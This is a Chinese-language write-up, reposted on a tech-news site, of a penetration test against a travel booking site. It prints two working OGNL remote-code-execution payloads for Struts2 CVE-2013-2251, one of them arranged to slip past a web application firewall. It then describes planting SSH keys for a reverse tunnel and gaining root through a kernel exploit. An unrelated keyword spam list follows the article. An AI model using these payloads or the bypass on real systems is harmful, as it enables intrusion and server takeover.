千家信息网

如何利用Struts2漏洞绕过防火墙获取Root权限

发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,如何利用Struts2漏洞绕过防火墙获取Root权限,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。关于Apache struts2 CV
千家信息网最后更新 2026年11月01日如何利用Struts2漏洞绕过防火墙获取Root权限

如何利用Struts2漏洞绕过防火墙获取Root权限,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。

关于Apache struts2 CVE-2013-2251漏洞的,由于该漏洞可以导致远程代码执行,曾一度被广泛滥用。该漏洞原理在于,通过操纵前缀为"action:"/"redirect:"/"redirectAction:"的参数,在Struts 低于2.3.15的版本框架中实现远程代码执行。此次测试中,我不仅绕过了WAF防火墙实现远程代码执行,还利用了某Linux提权漏洞获取了目标服务器的root管理控制权。整个过程如下:

构造Payload被WAF拦截

首先我在测试一个旅游预订网站的时候,发现了其网站存在有漏洞的Apache Struts框架,又对"action, redirect,redirectAction"漏洞参数进行了必要的测试,为了实现漏洞利用,需要构造一个OGNL表达式,从这个网站上我得到了一些启示,由此,我构造了一个执行命令"ifconfig"的有效Payload:

redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{' ifconfig'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

但不出所料,以上Payload却被目标服务器上的应用层防火墙拦截了,返回了以下bots响应页面:


这时,我总会从根本性上来分析问题,之前提到过,漏洞参数中涉及 "Redirect",而上述Payload也是利用了 "Redirect"参数构造的,那我们再对目标网站的请求作个Redirect测试吧,把请求跳转到假设网站http://www.goal.com上来,如下:

构造Payload绕过WAF

可以看到,最终响应页面中是一个指向假设网站http://www.goal.com的302跳转页面。上述直接的Payload被防火墙阻挡了,而这里的跳转却能生效,那两者结合是不是可以玩个防火墙绕过呢?所以,也就有了以下Payload:

redirect:http://www.goal.com/${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{' ifconfig'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

测试后发起的请求如下:


响应测试后,竟然能绕过防火墙执行ifconfig命令,哈哈,是时候欢呼了!

SSH方式获取shell

好吧,接下来,我就来尝试远程管理权限获取。我使用了反向SSH隧道和公钥身份验证进行了尝试,这种方式,允许SSH用户无需输入密码即可登录。为此呢,我需要把我入侵测试服务器AWS的SSH公钥放到目标服务器的授权认证列表~/.ssh/authorized_keys中去,并且,为了证实身份和作反向SSH连接,我还必需在我的测试服务器中添加进目标服务器的id_rsa.pub公钥。这里涉及的公钥认证概念可参考此处public key authentication说明。

id_rsa.pub是一个用户身份公钥,可以把它添加进其它主机中的authorized_keys文件中,以实现用该用户身份的登录行为。authorized_keys则是允许登录到该特定服务器上的特定用户的公钥列表。

第一步,获取目标服务器的id_rsa.pub文件:

第二步,把authorized_keys文件复制到我的AWS测试服务器中:

第三步,将我AWS测试服务器中构造好的authorized_keys文件复制回目标服务器中:


使用SSH反向实现最终连接:

root提权

看到了吧,可以获取远程管理权限,但却不是root管理员身份。好吧,为了要root身份提权,我来看看目标服务器上的Linux内核版本:


是 2.6.32 版本的,Google一下,看看有没有对应的漏洞,哇,竟然有一个对应的系统提权漏洞:https://github.com/realtalk/cve-2013-2094 ,最终编译运行exploit,实现root提权:


好吧,以上就是我利用apache strut 2漏洞,绕过WAF并结合某Linux提权漏洞实现的一次渗透测试。

看完上述内容,你们掌握如何利用Struts2漏洞绕过防火墙获取Root权限的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注行业资讯频道,感谢各位的阅读!

漏洞 服务器 服务 测试 目标 防火墙 防火 公钥 网站 身份 权限 参数 文件 用户 管理 代码 版本 问题 页面 登录 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 科技股互联网 互联网科技公司税收优惠 互联网科技革命 天津摩尔互联网科技 美国互联网黑科技 赫美联合互联网科技 火传媒上海互联网科技 广州紫鲸互联网科技 互联网科技股有哪些 科技与互联网的利与弊 崇明区互联网教育科技诚信经营 洛阳昕诺飞互联网科技有限公司 长沙茂晟互联网科技有限公司 伊宁互联网科技做什么的 滨湖区互联网智能科技产品有哪些 小米互联网科技园入驻 新氧科技和美国互联网有关系吗 北京天晋互联网科技有限公司 互联网科技自媒体灵感 银川新华互联网科技学校招聘 金融科技创新监管互联网金融 互联网科技logo 互联网 科技馆 科技与互联网哪个更好 宜昌元轩互联网科技有限公司 互联网科技和法律行业 2021互联网科技公司排名 长沙渺峰互联网科技有限公司 现代科技的标志之一的互联网 小牛互联网科技有限公司地址
0